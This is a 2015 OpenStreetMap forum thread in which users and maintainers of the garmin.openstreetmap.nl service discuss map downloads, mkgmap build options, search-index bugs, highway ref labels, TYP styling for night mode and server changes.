Or get a better device which is capable of displaying large maps.Thanks for the link. I downloaded it and size wise it's great. But it looks like they are not updated often as garmin.openstreetmap.nl. Newer download OSM generic routable (LKA_15-07-2015) seems to be promising as the northern region of Sri Lanka now available with managable size. Ofcourse I prefer to buy a GPS that capable of displaying larger map but I have to wait for some what longer period.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 20.07.2015 13:44 · [flux]
Umapathy, you could also try http://extract.bbbike.org/
With that tool you can define your own polygon and update it whenever you want. - Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 21.07.2015 05:38 · [flux]
There does seem to be a problem in our script dealing with multiple ref values:
ref=BR-251;MGC-251;BR-122;MGC-122
The fundamental question we need to answer here is "Which of the refs should appear in the highway label?" Since I can't see an easy way to make a decision otherwise I think we can only display the first one.
Regards,
Peter. - Re: Worldwide routable Garmin maps: URL REMOVED · xkonni (Gast) · 22.07.2015 14:54 · [flux]
is it somehow possible to generate a compressed map, e.g. lacking POIs, streetnames, ...? Just figured out i can put maps on the edge510, but it has very limited storage.
thanks!
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 23.07.2015 08:23 · [flux]
@xkonni You can try http://www.gmaptool.eu/en/content/maps-garmin-fenix
- Re: Worldwide routable Garmin maps: URL REMOVED · xkonni (Gast) · 23.07.2015 11:44 · [flux]
tried that. it does not show streets. i would actually like to see streets 😉
- Re: Worldwide routable Garmin maps: URL REMOVED · emmexx (Gast) · 23.07.2015 17:42 · [flux]
ligfietser wrote:
Thanks Maxx I understand the problem now. This index search problem is a longer existing mkgmap issue.
Popej just posted a possible fix to deal with this problem on the mkgmap dev list, so maybe this can be solved soon:
http://gis.19327.n5.nabble.com/multi-wo … l#a5826288Any update about this problem?
Searching italian streets by name and surname is very troublesome...
Thank you
maxx
- Re: Worldwide routable Garmin maps: URL REMOVED · popej (Gast) · 23.07.2015 21:38 · [flux]
Problem is solved but still has experimental status. Use option --x-split-name-index to get search index with partial street names.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 23.07.2015 22:34 · [flux]
With this option Mkgmap still can't produce a good search index for the gmapsupp so the problem is only partially solved. Biggest issue is that it cant find any address if you don't enter a place name. Using mapsource or basecamp to produce a gmapsupp.img solves this, but I dont think Lambertus will produce all those maps manually every week.
- Re: Worldwide routable Garmin maps: URL REMOVED · muralito (Gast) · 24.07.2015 13:29 · [flux]
ligfietser wrote:
With this option Mkgmap still can't produce a good search index for the gmapsupp so the problem is only partially solved. Biggest issue is that it cant find any address if you don't enter a place name. Using mapsource or basecamp to produce a gmapsupp.img solves this, but I dont think Lambertus will produce all those maps manually every week.
Maybe the search index can be improved, but at least for names in spanish the maps are more useful if you run mkgmap with that flag than without it.
I don't understand the issue that it can find any address. ¿Could you explain with more detail?
I have been using a map with that option since February and didn't notice the issue. If you need to check, I use the South America map provided by http://www.i-nis.com.ar/osm/garmin - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 25.07.2015 10:22 · [flux]
muralito wrote:
I don't understand the issue that it can find any address. ¿Could you explain with more detail?
I have been using a map with that option since February and didn't notice the issue. If you need to check, I use the South America map provided by http://www.i-nis.com.ar/osm/garminI have tried this on my Oregon 600:
1) Addresses
2) In what country is the address: Argentina
3) In what city: search all
4) Enter street name: ANo results found
This works:
3) Spell City: Ciudad Autónoma de Buenos Aires
4) Enter street name: ASeveral street names are found
If you make a version for the pc with mkgmap, and install the maps from Basecamp or Mapsource to your device, the streetindex with 3) In what city: search all works ok.
- Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 25.07.2015 10:46 · [flux]
When I try this on my Zumo 660 it will find only some streets, but not all.
Cheers,
Peter. - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 25.07.2015 10:57 · [flux]
Beddhist wrote:
When I try this on my Zumo 660 it will find only some streets, but not all.
Cheers,
Peter.What exactly did you try Peter, "In what city: search all" or within a specific city?
- Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 25.07.2015 11:56 · [flux]
Sorry Minko, I got confused by my zumo. I had put in a house number and that stuffs up searching in most cases where the number doesn't exist.
I'll go and hide under my rock again... ;-)
- Re: Worldwide routable Garmin maps: URL REMOVED · Skippern (Gast) · 25.07.2015 20:19 · [flux]
ligfietser wrote:
@Skippern, isnt that a mapping fault on OSM?
In my opinion it should be handled differently on the map, but as I neither live, nor map in these two states, and they don't seem to follow the consensus of the rest of Brazil, than it is difficult to resolve this differently.
- Re: Worldwide routable Garmin maps: URL REMOVED · Skippern (Gast) · 25.07.2015 20:27 · [flux]
Beddhist wrote:
There does seem to be a problem in our script dealing with multiple ref values:
ref=BR-251;MGC-251;BR-122;MGC-122
The fundamental question we need to answer here is "Which of the refs should appear in the highway label?" Since I can't see an easy way to make a decision otherwise I think we can only display the first one.
Regards,
Peter.The BR refs are official refs for Brazilian federal highway, the MGC ref is "Minas Gerais Coexisting", meaning it is a Brazilian federal highway in Minas Gerais. IMO MGC can be ignored in this case, and display only
ref=BR-251;BR-122
The case is similar in Rio Grande do Sul, where the duplicated ref is RSC (see BR-116 + RSC-116 for example)
In both cases the national official reference is BR, and most signs, such as destination signs and mile-marks will have the BR, while odd signs might use the MGC/RSC signage.
I have followed a few of them from Mapillary to see occurrence of MGC/RSC and have not been able to identify such locations.
- Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 25.07.2015 21:35 · [flux]
OK, but since the label on Garmin maps is restricted in length I would vote for truncating any ref at the first semicolon. That way, OSM mappers can put in whatever they want and the map will display correctly, even if somewhat incomplete.
Regards,
Peter. - Re: Worldwide routable Garmin maps: URL REMOVED · Skippern (Gast) · 25.07.2015 22:00 · [flux]
That can also work, given that the most important highway generally is the one signed, and probably is the first value 🙂
- Re: Worldwide routable Garmin maps: URL REMOVED · muralito (Gast) · 26.07.2015 01:33 · [flux]
ligfietser wrote:
muralito wrote:
I don't understand the issue that it can find any address. ¿Could you explain with more detail?
I have been using a map with that option since February and didn't notice the issue. If you need to check, I use the South America map provided by http://www.i-nis.com.ar/osm/garminI have tried this on my Oregon 600:
1) Addresses
2) In what country is the address: Argentina
3) In what city: search all
4) Enter street name: ANo results found
This works:
3) Spell City: Ciudad Autónoma de Buenos Aires
4) Enter street name: ASeveral street names are found
If you make a version for the pc with mkgmap, and install the maps from Basecamp or Mapsource to your device, the streetindex with 3) In what city: search all works ok.
Thanks. I can confirm the same problem in my nuvi 2455.
Anyway, because the way streets are named in spanish is better a search with the multiword index than withouth them.
I'll have to choose my poison. 🙂
- Re: Worldwide routable Garmin maps: URL REMOVED · hkttf05 (Gast) · 28.07.2015 05:54 · [flux]
I've successfully downloaded and installed the OSM generic routable new(CHN).
The Garmin Basecamp displays the map in English.
I want to ask how can I change the display language to Traditional or Simplified Chinese - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 28.07.2015 09:15 · [flux]
hkttf05, that is not possible unfortunately. You have to search for a Chinese map.
- Re: Worldwide routable Garmin maps: URL REMOVED · fzipper (Gast) · 28.07.2015 10:57 · [flux]
Hello. Since many years I enjoy the service - Thank you very much !!!
There is one thing I would like to suggest.
It would be great if a user could save a tiles collection and edit it.
Example: If I download the maps for the counties Germany, Belgium and Netherlands some tiles overlap.
So if I create a manual tiles selection I will have to do this again for every backup.
It would be great if I could log in, open my saved tiles selection file and add or delete tiles, download the latest version for the manually selected tiles region ...
Cheers and good-bye.
Frank. - Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 28.07.2015 11:31 · [flux]
Welcome, Frank,
This sounds like a great idea. However, the tiles change in size and shape, making this impossible.
But, you can zoom the map until you see the entire area you want and just draw one or more rectangles. This will quickly give you a selection without having to click each tile. You can combine this with one pre-selected country.
Regards Peter.
- Re: Worldwide routable Garmin maps: URL REMOVED · hkttf05 (Gast) · 28.07.2015 12:29 · [flux]
ligfietser wrote:
hkttf05, that is not possible unfortunately. You have to search for a Chinese map.
thanks for your rep;y
I tried another method
I download the china-latest.osm.bz and unzip a 3.7gb .osm filei use mkgmap-r3624 to make the garmin img file
java␣-Xmx1024M␣-jar␣mkgmap.jar␣--code-page=936␣--index␣--route␣--drive-on=detect␣china-latest.osm
but unfortunately i cannot make it
and i try
-Xmx512
but still can't
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 28.07.2015 12:39 · [flux]
This map is way too big, you need to run the mkgmap splitter first:
http://wiki.openstreetmap.org/wiki/Mkgm … eate_a_mapOr try first a smaller osm extract from http://www.openstreetmap.org/export to test.
- Re: Worldwide routable Garmin maps: URL REMOVED · hkttf05 (Gast) · 28.07.2015 16:32 · [flux]
ligfietser wrote:
This map is way too big, you need to run the mkgmap splitter first:
http://wiki.openstreetmap.org/wiki/Mkgm … eate_a_mapOr try first a smaller osm extract from http://www.openstreetmap.org/export to test.
thank you
i can make my own map now:D - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 30.07.2015 11:18 · [flux]
fzipper wrote:
Hello. Since many years I enjoy the service - Thank you very much !!!
There is one thing I would like to suggest.
It would be great if a user could save a tiles collection and edit it.
Example: If I download the maps for the counties Germany, Belgium and Netherlands some tiles overlap.
So if I create a manual tiles selection I will have to do this again for every backup.
It would be great if I could log in, open my saved tiles selection file and add or delete tiles, download the latest version for the manually selected tiles region ...
Cheers and good-bye.
Frank.I've been thinking about this for a long time. My current line of thinking is providing the URL with some parameters, e.g. Well Known Text (WKT). Example: http://garmin.openstreetmap.nl?wkt=POLYGON((30 10, 40 40, 20 40, 10 20, 30 10))
That would select all tiles touching or inside the given polygon (the numbers in the URL are just sample coordinates, WGS84 should be used).In theory not a big deal to implement because all the pieces of the puzzle are already in use somewhere in the toolchain. The biggest difficulty is to match the tiles to the polygon which is already implemented in the toolchain where the country maps are defined using PHP but it's not part of the website code.
- Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 03.08.2015 15:50 · [flux]
Hi Lambertus,
Today there are gremlins in the system. When I first chose the new style map, any country I selected would show only one or two tiles. After switching to the old style, tested (OK) I switched back and the selection was good. I then had it build me a Thailand map. In the link I was sent there is only a zip file, but the link that now appears on the web site when I chose Thailand has all the files.
Kind regards,
Peter. - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 05.08.2015 08:53 · [flux]
Hi Peter,
Gremlins you say huh? Well, at least I'm in good company 😄
The problem occured while the system was very busy (the country server's harddisk is often working as hard as it can to deliver data to the webserver when many users are downloading). In those conditions the CPU is barely able to do anything but wait for disk I/O. My first guess is that some file operations timed-out. I'll add some extra checks.
Fyi, the country server is now delivering 700GB per day!
- Re: Worldwide routable Garmin maps: URL REMOVED · muralito (Gast) · 05.08.2015 12:29 · [flux]
Lambertus wrote:
Fyi, the country server is now delivering 700GB per day!
Awesome! Thanks!
Maybe some "mrtg" graphs with request served, or custom maps made, could help us to understand the influence of your service.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 06.08.2015 09:41 · [flux]
muralito wrote:
Lambertus wrote:
Fyi, the country server is now delivering 700GB per day!
Maybe some "mrtg" graphs with request served, or custom maps made, could help us to understand the influence of your service.
I don't think that's easy for the country server, because those maps are 'build once, serve many'. I only have statistics on individual files from the webserver logfile.
For the custom maps I do have a graph (behind a username/password) that shows how many and what kind of maps are requested per 24h. It's not working properly at the moment but it usually peaks at 800 to 1000 requests/24h.
Traffic for both the country and custom map server peaks at about 140 Mbit/s with an average of about 40 Mbit/s each.
- Re: Worldwide routable Garmin maps: URL REMOVED · rstevenson1976 (Gast) · 20.08.2015 17:47 · [flux]
when was the last time the north carolina maps were updated? using the osm I downloaded and put on my garmin nuvi 40 several days ago, I can't navigate to the wal-mart in ahoskie, or 2 entire communities in hertford, seems like holiday island and snug harbor missed out on being mapped
- Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 21.08.2015 10:20 · [flux]
Welcome rstevenson1976,
I don't think you understand how OSM works. It is created (mapped) by you and me. So, if there is something missing or wrong in the map that simply means nobody has mapped it yet. You could navigate to the OSM web site and place a note in the spot, requesting this to be mapped. Perhaps in a few months time somebody who is in the area has seen your note and done it. You could dive in and map it yourself, but be aware that there is a learning curve involved. Try getting some assistance in the regional sections of the forum.
Regards,
Peter. - Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 21.08.2015 10:22 · [flux]
Lambertus,
Today exactly the same happened: emailed link to a zip file only, link on the main page has all the files.
Cheers,
Peter. - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 21.08.2015 19:15 · [flux]
Hi Peter, please post the URL to the map.
Edit: Never mind, there are plenty of similar maps.
Edit: Fixed a bug introduced when we switched the styles repository to Github. So hopefully less errors from now on for the Country builds.
Edit: Changed the cleanup script to also remove faulty maps.
- Re: Worldwide routable Garmin maps: URL REMOVED · rowisp (Gast) · 24.08.2015 11:07 · [flux]
Hi, when selecting the map type 'Generic Routable (new style)' the page gets stuck on 'Loading data, please wait'.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 24.08.2015 20:13 · [flux]
Please try again, it's working for me...
- Re: Worldwide routable Garmin maps: URL REMOVED · rowisp (Gast) · 25.08.2015 02:43 · [flux]
It's also working for me now. Thank you for fixing it!
- Re: Worldwide routable Garmin maps: URL REMOVED · rimugu (Gast) · 03.09.2015 19:22 · [flux]
The data from north Mexico is not complete or is getting old data. Roads, rivers, highways are missing even if they have been in OSM for months. I tend to add all the roads and bicycle paths I go thru but must are not visible when I see the osm.nl in BaseCamp I have used new style, have not yet tried old.. I am also looking at BaseCamp to see if I am doing something wrong, but if you have ideas I can try, they would be appreciated.
Thanks - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 03.09.2015 20:42 · [flux]
The local planet file and maps are updated weekly or bi-weekly so anything older than 3 weeks should be available. Do you have a specific example?
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 04.09.2015 14:17 · [flux]
AOL/Netscape users should note that the servers at AOL are dropping a lot of the emails sent to their end-users. My advise is to use a different email address.
- Re: Worldwide routable Garmin maps: URL REMOVED · MJ9797 (Gast) · 06.09.2015 01:44 · [flux]
My Garmin didn't have map data for Cyprus, so I downloaded the rotatable data from the garmin.openstreetmap.nl site and put it on my satnav. It worked great and navigation was flawless, so thanks a lot for that.
One question - I'm going to Spain so I've downloaded the Spain data and put the gmapsupp.img file on the SD card, just as I did with the Cyprus data. The satnav didn't have data for Cyprus so there was no chance of a conflict, but it does have data for Spain (though it's many years out of date). I'm therefore wondering which map data will take precedence when I enter a destination? Will it use the data that came with the satnav or the data from the gmapsupp.img file? If the satnav data will take precedence is there a way to force it to use the gmapsupp.img data?
Thanks for your advice on this.
- Re: Worldwide routable Garmin maps: URL REMOVED · HwyGuy (Gast) · 06.09.2015 18:58 · [flux]
I am not receiving one of the zip files when I request a map. I used to get 6? files - one of which was a zipped file that contained the img file that could be placed on the SD card in a Garmin directory. This was an osm_generic_gmapsupp.zip file. Now all I get is 3 text files and osm_generic_tiles.zip file. Not what I need. What is going on?? I have attempted 3 request and they have all come back with this configuration.
- Re: Worldwide routable Garmin maps: URL REMOVED · richt2000 (Gast) · 08.09.2015 07:24 · [flux]
I have the same issue. I posted in the forums a few days ago but haven't had a reply yet 🙁
I'll try again today and will see if it is a temporary issue.
HwyGuy wrote:
I am not receiving one of the zip files when I request a map. I used to get 6? files - one of which was a zipped file that contained the img file that could be placed on the SD card in a Garmin directory. This was an osm_generic_gmapsupp.zip file. Now all I get is 3 text files and osm_generic_tiles.zip file. Not what I need. What is going on?? I have attempted 3 request and they have all come back with this configuration.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 08.09.2015 08:31 · [flux]
Please, if you have an issue with a map request, always post the URL to the map as well. Thanks!
- Re: Worldwide routable Garmin maps: URL REMOVED · richt2000 (Gast) · 08.09.2015 08:58 · [flux]
It is working this morning. 2 days ago, it was not.
This was the link that didn't work.
http://osm2.pleiades.uni-wuppertal.de/g … 1079ac9e21
Cheers
Rich
- Re: Worldwide routable Garmin maps: URL REMOVED · rimugu (Gast) · 09.09.2015 16:11 · [flux]
Lambertus wrote:
The local planet file and maps are updated weekly or bi-weekly so anything older than 3 weeks should be available. Do you have a specific example?
Let me generate one to see the latest and get back to you
- Re: Worldwide routable Garmin maps: URL REMOVED · JSKA (Gast) · 13.09.2015 20:40 · [flux]
Is there no more windows installer?
I send a request for a germany map and I received only these three ZIP-files:
osm_generic_tiles.zip
osm_generic_macosx.zip
osm_generic_gmapsupp.zip - Re: Worldwide routable Garmin maps: URL REMOVED · muralito (Gast) · 14.09.2015 01:23 · [flux]
JSKA wrote:
Is there no more windows installer?
I send a request for a germany map and I received only these three ZIP-files:
osm_generic_tiles.zip
osm_generic_macosx.zip
osm_generic_gmapsupp.zipThere is a 2GB limit for .exe
You should request a map with a smaller area. - Re: Worldwide routable Garmin maps: URL REMOVED · RobbyB99 (Gast) · 04.10.2015 10:18 · [flux]
Hi All
I'm fairly new to OSM and Mapping, but as i live in Thailand and recently bought a Garmin Zumo 390 for my bike I've realised that OSM maps are the best option for me to explore this great country.
I have a question -
I've used Lambertus excellent maps from OpenStreetMap.nl and have started adding and correcting local roads and features. I can see that the OSM official map is updated within a day, but id like to know how often Lambertus maps are updated so i can benefit from the corrections
I've made (some of which have a significant effect on me creating routes to get out of my town of Bangsaen.
Or is there another way to benefit from these changes?
Help and views much appreciated
Apologies if this has been discussed previously, but i did do a search with no joy...
Best Regards
Rob
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 04.10.2015 15:00 · [flux]
Hi Rob,
Welcome on this forum. In the lower right corner of the map downloads you can see the date of the update, usually the maps are updated aevery week or a few times per month, this frequency may vary. - Re: Worldwide routable Garmin maps: URL REMOVED · RobbyB99 (Gast) · 05.10.2015 06:19 · [flux]
ligfietser wrote:
Hi Rob,
Welcome on this forum. In the lower right corner of the map downloads you can see the date of the update, usually the maps are updated aevery week or a few times per month, this frequency may vary.Thank you Ligfietser !
- Re: Worldwide routable Garmin maps: URL REMOVED · andershl (Gast) · 12.10.2015 20:46 · [flux]
New style, night view, I wonder!
On Garmin's standard maps night view gives grey maps with even darker details: Less light and contrast, more readable at night.
On 'our' new style night view gives the same light background as day view, but buildings shift from grey to pitch black. More contrast, less night readability.
Why?
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 12.10.2015 22:38 · [flux]
Why? Because the night view is totally undeveloped.
Feel free to improve the typ file, I recommend to use an editor like typviewer, https://sites.google.com/site/sherco40/ - Re: Worldwide routable Garmin maps: URL REMOVED · andershl (Gast) · 13.10.2015 09:37 · [flux]
OK, that's why. Good reason.
I shall take a look and see if I can figure out how to when I sit in Turkey until end of december. Might need to ask some questions to appropriate places or persons....
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 13.10.2015 09:52 · [flux]
Looking forward for your help andershl!
You (and others) can post your ideas, questions etc in this topic:
http://forum.openstreetmap.org/viewtopi … 13257&p=12The typ file is maintained here:
https://github.com/ligfietser/mkgmap-st … eric%20new - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 13.10.2015 10:04 · [flux]
Cool! Style updates are automatically synchronized at each map update, which reminds me to start one now 😄
- Re: Worldwide routable Garmin maps: URL REMOVED · kc voon (Gast) · 31.10.2015 07:58 · [flux]
hi guys,
why i cant choose the map type for Transparent overlay with elevation contours on http://garmin.openstreetmap.nl/.
please advice guys.
Thanks in advance. - Re: Worldwide routable Garmin maps: URL REMOVED · mueschel (Gast) · 31.10.2015 13:40 · [flux]
andershl wrote:
New style, night view, I wonder!
ligfietser wrote:
Why? Because the night view is totally undeveloped.
Feel free to improve the typ file, I recommend to use an editor like typviewerI already posted it some time ago, but updated my own night-mode style recently.
http://osm.mueschelsoft.de/24276.typFeel free to use it in whatever way you like, as I feel free to continue using your nice maps.
- Re: Worldwide routable Garmin maps: URL REMOVED · beej71 (Gast) · 03.11.2015 03:04 · [flux]
I'm seeing an artifact where waterway=riverbank seems to be rendering under a multipolygon relation of type boundary=national_park/landuse=forest.
This isn't a new issue; it's been this way for years, in my memory. I'm only now getting around to finally mentioning it. And I don't even know if it's an issue on your side. Maybe my build process hoses things...? 🙂 Something else I have to do on my side?
Location:
https://www.openstreetmap.org/#map=17/4 … -121.36365
Screenshots from OSM and my Garmin:
Device: Garmin GPSMap62st (FW 6.30)
Files: osm_generic_tiles.zip (North America/Oregon, Washington, California, Michigan 27-10-2015)Tiles were merged under Linux with mkgmap --gmapsupp *.img
Thanks for the great service!
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 03.11.2015 08:10 · [flux]
@kc voon: the map with contour lines is not available. Lambertus, better remove those future options from the website?
@mueschel thanks, I'll have a look at your typ file
@beej71 I think it is an OSM issue, because the forest and waterbank polygons should be tagged in a multipolygon relation if one of those polygons is inside another polygon. Workaround: try the mapnik typ file or the generic new map. - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 03.11.2015 14:22 · [flux]
@beej71
This is a screenshot of the Generic Routable (new style) Oregon (on my Oregon 600): - Re: Worldwide routable Garmin maps: URL REMOVED · beej71 (Gast) · 03.11.2015 15:25 · [flux]
@ligfietser: Thanks! I'll give that a try.
- Re: Worldwide routable Garmin maps: URL REMOVED · beej71 (Gast) · 03.11.2015 18:10 · [flux]
@ligfietser: Works great! Looks great!
I modifed my call to mkgmap to include all the typ files from the variety of states I downloaded. I have no idea if that was the Right Thing, but it seems to have worked: mkgmap --gmapsupp *.img *.typ
Is this the right forum to make suggested additions to the TYP file? (e.g. leisure=playground, aeroway=*.)
Thanks again for the help.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 03.11.2015 22:49 · [flux]
Glad it works for you beej, suggestions you can place in this topic:
http://forum.openstreetmap.org/viewtopi … 13257&p=12 - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 14.11.2015 08:43 · [flux]
Yesterday a big change has been made in the website regarding how country maps are spread over the available servers. Previously all country maps were provided by one server but this generates too much traffic (up to 25 TB per month!). So now country maps are, like the custom maps, spread over a selection of the available servers.
As I said, this is a big change and while it seemes to work correctly there still may be some bugs. Please report if something is not working, you see something unusual or you get an error. Thanks!
- Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 14.11.2015 08:48 · [flux]
Thanks for all the hard work you do.
Regards,
Peter. - Re: Worldwide routable Garmin maps: URL REMOVED · Umapathy (Gast) · 18.11.2015 06:17 · [flux]
Thanks for regular updates. I am glad to see my updates are reflected with garmin maps.
Due to a problem with my computer I reinstalled OS (windows 7 starter) and Garmin Basecamp I also downloaded Sri Lanka maps via http://garmin.openstreetmap.nl/ I download and install both garmingeneric and garmin genericnewsyle but only OSMgenericroutable and Globalmap are appearing but not genericnew. I initially downloaded via http://sfs4.pleiades.uni-wuppertal.de/g … 716f0ee8a/ (from email I received). I downloaded but it didn't solve the problem. Appreciate if some one can look in to this. Thanks in advance.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 18.11.2015 09:35 · [flux]
Umapathy, thanks for reporting, this doesnt look right. Do you see a map called OSM routable generic (new style) in your map items?
Lambertus, looks like the country name is not included anymore in the mapset? Also the data structure looks different.
Someone else reported to me as well that country id's are missing in the map names. - Re: Worldwide routable Garmin maps: URL REMOVED · Umapathy (Gast) · 19.11.2015 06:16 · [flux]
Ligfietser,thanks for the promptly response. For testing purposes I did check with another laptop by installing 3 maps Generic Routable, Generic Routable new style and Routable Bicycle for Sri Lanka. Updated Openfitsmaps appears along with OSM Generic Routable but not Generic Routablenew. Though not a big deal, earlier I used to see the date with the map and the country in brackets now gone.
I use Garmin basecamp to make printed map (several A4/Legal and past together) do check in ground with Goverment Officers responsible for the village (Such as head of the village administration, Development officers). Then make necessary changes to the openstreetmap. I also put the same map to the my gps. I am in the process of doing this for particular selected villages in Vavuniya. Getting good updated will really help me. Google maps or here.net maps are not that useful at least here in vavuniya, northern Sri Lanka and unlike openstreetmap they don't have any easy way to print those maps.
- Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 19.11.2015 06:31 · [flux]
Try looking at your installed maps with Javawa. This will hopefully tell you what it wrong.
I suggest you decide on one map version to use (I suggest the new style). They all use the same OSM data anyway.
- Re: Worldwide routable Garmin maps: URL REMOVED · Umapathy (Gast) · 19.11.2015 08:43 · [flux]
Beddhist,thanks I installed and it detected the conflicts. Some times one looks better for printout. If I only install the one then should works fine.
I provide material are as follows.
Name on computer: OSM generic routable (new style)
Name on device: OSM generic routable (new style)
Family ID (FID): 2000
Product ID (PID): 6
Version: 1.00
Size: 38.12 MiB
Location: C:\Garmin\Maps\OSM generic routable (new style)\
TYP file: C:\Garmin\Maps\OSM generic routable (new style)\2000.typ
Registry key: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Garmin\MapSource\Families\OSM generic routable (new style)
Map type: Registry map
Protected: NoID error: The Family ID is used by other maps: OSM generic routable
Segment error: Segment codes exist in other maps too.
Errors recoverable: NoMap segments (4): 63240940: OSM Generic Routable new (63240940) (63240940.img)
63241024: OSM Generic Routable new (63241024) (63241024.img) (segment code confict with OSM generic routable)
63241025: OSM Generic Routable new (63241025) (63241025.img)
63241026: OSM Generic Routable new (63241026) (63241026.img) (segment code confict with OSM generic routable)Other essential C:\Garmin\Maps\OSM generic routable (new style)\63240000.tdb
files/folders: C:\Garmin\Maps\OSM generic routable (new style)\63240000.img
C:\Garmin\Maps\OSM generic routable (new style)\63240000.mdx
C:\Garmin\Maps\OSM generic routable (new style)\63240000_mdr.img - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 19.11.2015 09:13 · [flux]
Since Lambertus has made some changes, now all the country maps are having the same ID's.
Please be patient until he has restored his scripts. - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 19.11.2015 11:05 · [flux]
Thanks for the reports and your patience, I've been away to a multi-day congress and only now see this. I'll try to fix this asap.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 22.11.2015 21:32 · [flux]
The build scripts have slowly drifted apart between the country server and the custom map servers and unfortunately the fix is more complex than I thought. I will need more time to fix the country map generation on the non-country servers.
- Re: Worldwide routable Garmin maps: URL REMOVED · Umapathy (Gast) · 23.11.2015 15:13 · [flux]
Lambertus,
There are sites like driverpacks.net switched to bittorrent to download the files. Earlier they used to do somewhat same like this site then they switched to bittorrent inorder to save the hosting charges. This has some advantages such as saving the bandwidth also dowloaders can also contribute back to the project by seeding the files that they downloaded. May not be every one but some will do this for sure.
This may be a viable option for future. Then there is no need to spend the time to fix the servers hosted in different places. - Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 23.11.2015 19:35 · [flux]
I think the constraints here are CPU and disk I/O, rather than bandwidth. Plus, all files change every two weeks.
Regards,
Peter. - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 26.11.2015 11:40 · [flux]
With the current servers and user load there is no bottleneck in CPU, disk space or I/O. There was recently a question at the university whether the Garmin traffic is excessive which caused me to rush a change in the way the countries maps are generated. Unfortunately this included a bug which I cannot fix currently because somehow the (S)FTP server won't let me in these days and support hasn't replied to my questions yet 🙁
Regarding bittorrent:
I think Beddhist is correct in his assessment that the weekly update cycle reduces the chance that bittorrent can effectively reduce the traffic. For some individual cases like some of the oft-downloaded country maps (e.g. Germany) it might very well reduce traffic, but I'm skeptical it will help much. So, because of this reason and very restricted available hobby-time I currently don't plan to experiment with bittorrent as it adds just another thing to maintain plus the added complexity. The trade-off isn't there (yet) for me. - Re: Worldwide routable Garmin maps: URL REMOVED · mistergiloo (Gast) · 06.12.2015 13:22 · [flux]
hello
I downloaded Oman country and it don't work on gps.
I try with "Enable manual tile selection" with yemen and countries near oman and it works for all countries except Oman
do you have a solution ?
thanks - Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 06.12.2015 19:32 · [flux]
I have installed the Oman tiles and others and I can see all the detail in Mapsource. What exactly is your problem?
Regards,
Peter. - Re: Worldwide routable Garmin maps: URL REMOVED · mistergiloo (Gast) · 07.12.2015 12:20 · [flux]
I try with "Enable manual tile selection" with yemen and countries near oman and it works for all countries except Oman on my Garmin montana 610. that means I see all informations, all details when I look yemen on my gps but when I look Oman, I see only global worldwide map.
I just downloaded now Oman "osm_generic_macosx.zip 30M Map installer for BaseCamp / Mac OSX platform." and install it on basecamp and It works very well
I think the problem is about : osm_generic_gmapsupp.zip 29M
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 07.12.2015 14:28 · [flux]
You have maybe several generic maps with the same tiles on your Montana. This can lead to such errors.
You can check this with Javawa Device Manager: http://www.javawa.nl/jdm_en.html - Re: Worldwide routable Garmin maps: URL REMOVED · mistergiloo (Gast) · 07.12.2015 21:42 · [flux]
when I connect my GPS with base camp. it works
so I change the name Oman.img in gmapsupp.img and it works now on my GPS. I don't now really why because other maps I downloaded have other names that gmapsupp.img
thanks - Re: Worldwide routable Garmin maps: URL REMOVED · rimugu (Gast) · 09.12.2015 18:19 · [flux]
The map I got from garmin.openstreetmap.nl (new style) looks very nice in day, but in night profile it still is mostly white.
Text appears with a black background (as expected), but the background in the rest of the map is still white (bad for night vision). What am I doing wrong? - Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 09.12.2015 20:04 · [flux]
You are doing nothing wrong. The map is for day mode only. Please disable night mode and in darkness just adjust the brightness.
Regards,
